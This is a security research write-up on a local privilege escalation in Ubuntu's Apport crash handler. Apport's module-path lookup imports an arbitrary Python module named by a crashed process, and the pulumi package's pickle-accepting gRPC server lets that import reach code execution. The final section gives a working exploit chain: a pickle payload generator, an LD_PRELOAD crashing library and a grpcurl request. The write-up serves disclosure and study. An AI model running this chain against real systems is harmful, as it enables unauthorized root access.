Apport Lpe
# Summary
Apport is crash reporting system used on Ubuntu distributions. It has a history of being exploited for local privilege escalation. We found an unusual primitive in apport code, which allows an import of arbitrary package, and than found a package which allows for achieving LPE with this primitive. Our experiments were performed on a fresh install of Ubuntu 24.04.1 LTS (sometimes with installation of additional Python packages).
# Apport
There are a lot of good articles about Apport components (ubuntu wiki), so
we won’t go into detail here. The part we will focus on in this post will be the
crash dump handler, typically located at /usr/share/apport/apport
. This is a
program that is invoked via core_pattern
on Ubuntu systems:
$ cat /proc/sys/kernel/core_pattern
|/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -- %E
Some information on this kernel feature can be found here. Key takeaway is that this program is called for each crashed process before its associated resources are removed as core file is piped to stdin.
# Vulnerability
By taking a look at /usr/share/apport/apport
file, several things become
apparent:
- It is actually a python script
- All it does is collect info on the crashed process using procfs and write it
to core file in
/var/crash
When collecting info on the process, it performs some additional actions to collect info on python scripts:
def add_proc_info(self, ...) -> None:
...
if "ExecutablePath" not in self:
try:
self["ExecutablePath"] = _read_proc_link("exe", pid, proc_pid_fd)
break
# check if we have an interpreted program
self._check_interpreted()
...
_check_interpreted
function collects additional info for interpreted programs.
def _check_interpreted(self) -> None:
...
# first, determine process name
name = None
for line in self["ProcStatus"].splitlines():
try:
(k, v) = line.split("\t", 1)
except ValueError:
continue
if k == "Name:":
name = v
break
if not name:
return
cmdargs = self["ProcCmdline"].split("\0")
# filter out interpreter options
while len(cmdargs) >= 2 and cmdargs[1].startswith("-"):
# check for -m
if name.startswith("python") and cmdargs[1] == "-m" and len(cmdargs) >= 3:
path = self._python_module_path(cmdargs[2])
...
_python_module_path
tries to find the location of python module file when
script was launched as python -m <module>
:
def _python_module_path(module: str) -> str | None:
"""Determine path of given Python module."""
try:
spec = importlib.util.find_spec(module)
except ImportError:
return None
if spec is None:
return None
return spec.origin
Finally, importlib.util.find_spec
actually performs __import__
of the module
and then takes __spec__
attribute (python3.12 importlib code):
def find_spec(name, package=None):
fullname = resolve_name(name, package) if name.startswith('.') else name
if fullname not in sys.modules:
parent_name = fullname.rpartition('.')[0]
if parent_name:
parent = __import__(parent_name, fromlist=['__path__'])
try:
parent_path = parent.__path__
except AttributeError as e:
...
else:
parent_path = None
return _find_spec(fullname, parent_path)
else:
...
That means that any code in target module not wrapped in functions or
if __name__ == '__main__':
conditionals ends up executed! And as we control
the “name of executed module” via command line arguments of crashed process, we
thought we could try to exploit this. However, there appeared to be a lot of
complications. That would be the more interesting part.
# Python import system
In local privilege escalation exploits we can write any files to public
directories such as /tmp
. So our first idea was to try importing something
from them. However, it is not that simple, but in order to understand why we
need some understanding of python import system, though we won’t provide an
explanation of every aspect of it (best resource for this would be the docs
and source code).
Python supports absolute and relative imports. Relative imports are only allowed
relative to package and we can’t use them in the context of find_spec
anyway
because they require non-empty package
argument. Therefore, we need to use
some absolute import. If fire up Python console in a directory with hui.py
file and execute __import__('hui')
, the module will be successfully imported.
And as core dump handler
is executed with root directory in initial mount namespace as its working directory,
could we try something like importing tmp.hui
?… As it turns out, no. Here’s
why:
In order to find a package, Python iterates over classes in sys.meta_path
(“finders”/“importers”) which support .find_spec
method and calls it. If
sys.meta_path
was not modified, importlib.machinery.PathFinder
will be used
for most modules. PathFinder, in turn, will try to apply each of
sys.path_hooks
for each entry in sys.path
with imported module name. Import
system does not actually try to find new unknown modules as it caches all
modules in each sys.path
on first import and then uses those caches, updating
as necessary. So path-traversal tricks won’t work here. Let’s look at those
variables during apport execution:
sys.path
:['/usr/share/apport', '/usr/lib/python312.zip', '/usr/lib/python3.12', '/usr/lib/python3.12/lib-dynload', '/usr/local/lib/python3.12/dist-packages', '/usr/lib/python3/dist-packages']"
sys.meta_path
:[<_distutils_hack.DistutilsMetaFinder object at 0x77da45ffea20>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib_external.PathFinder'>]
sys.path_hooks
:[<class 'zipimport.zipimporter'>, <function FileFinder.path_hook.<locals>.path_hook_for_FileFinder at 0x77da45fa45e0>]
As we see, there are no''
(cwd) insys.path
(as opposed to using python console) or any interesting importers/hooks. So we can’t import anything from writable directories, and our single “import shot” should grant us ability to execute arbitrary code by importing some pre-installed package from directories insys.path
. Next step in trying to develop an exploit would be analyzing installed python packages.
# Searching for useful files
It turns out, fresh Ubuntu install does have quite a lot of non-stdlib python packages. However, we weren’t able to find any pre-installed package that allows us to escalate privileges by importing a single file in this environment.
Initially we had several ideas what functionality we should expect in a file for it to be useful:
- Accepting commands from stdin (we can try to include them in coredump);
- Recursively searching for files (for example, tests) and executing them;
- Mangling with
sys.path
and other import-related variables; - Launching some server with command execution functionality. First option
might appear as the most probable, but in reality, even though popular
packages such as
ipython
contain files that read python code from stdin, apport callssys.stdin.detach()
before importing our code, so any attempts to read from standard input will result in exception. Second option also did not work out, as testing framework entrypoints we have examined are goverened by__name__ == '__main__'
or require correctsys.argv
(they are hardcoded incore_pattern
). Third option was pretty improbable in the first place, as it actually requires adding/tmp
, user home or another writable directory tosys.path
which would be a very weird pattern for package code. Fourth option might also appear improbable, but actually after several days of searching we found a package that does exactly that - launches a server that lets us achieve code execution!
# Exploitation
That package turned out to be pulumi
, an SDK for DevOps platform. Pulumi
has a dynamic resource provider GRPC server, and it accepts pickle-serialized
objects. The server is spun up on package import with any command line arguments
and listens on a random local port. In order to exploit it, we need to send a
special GRPC request with __provider
value set to base64-serialized pickle
object.
So, complete exploit may look like this:
$ python -c '''import pickle
import base64
class PickleRCE(object):
def __reduce__(self):
import os
return (os.system,("touch /tmp/pwed",))
print(base64.b64encode(pickle.dumps(PickleRCE())))''' # craft a payload
gASVKgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjA90b3VjaCAvdG1wL3B3ZWSUhZRSlC4=
$ git clone https://github.com/pulumi/pulumi/ # for proto files
$ cd pulumi/proto
$ cat > crasher.c <<EOF
__attribute__((constructor))
void crash() { __builtin_trap(); }
EOF
$ gcc crasher.c -fPIC -shared -o crasher.so # compile crashing library
$ LD_PRELOAD=$PWD/crasher.so python3 -m pulumi.dynamic.__main__.hui & # crash apport and trigger server start
$ grpcurl -plaintext -proto ./pulumi/provider.proto -d '{"properties": {"__provider": "gASVKgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjA90b3VjaCAvdG1wL3B3ZWSUhZRSlC4="}}' localhost:<port> pulumirpc.ResourceProvider.Create # send malicious request
Obviously, this has a prerequisite of pulumi package installed, so this Apport bug may be not exploitable to gain LPE in most configurations. However, there still might be popular packages which we may have missed, which allow us to achieve LPE in more common configurations.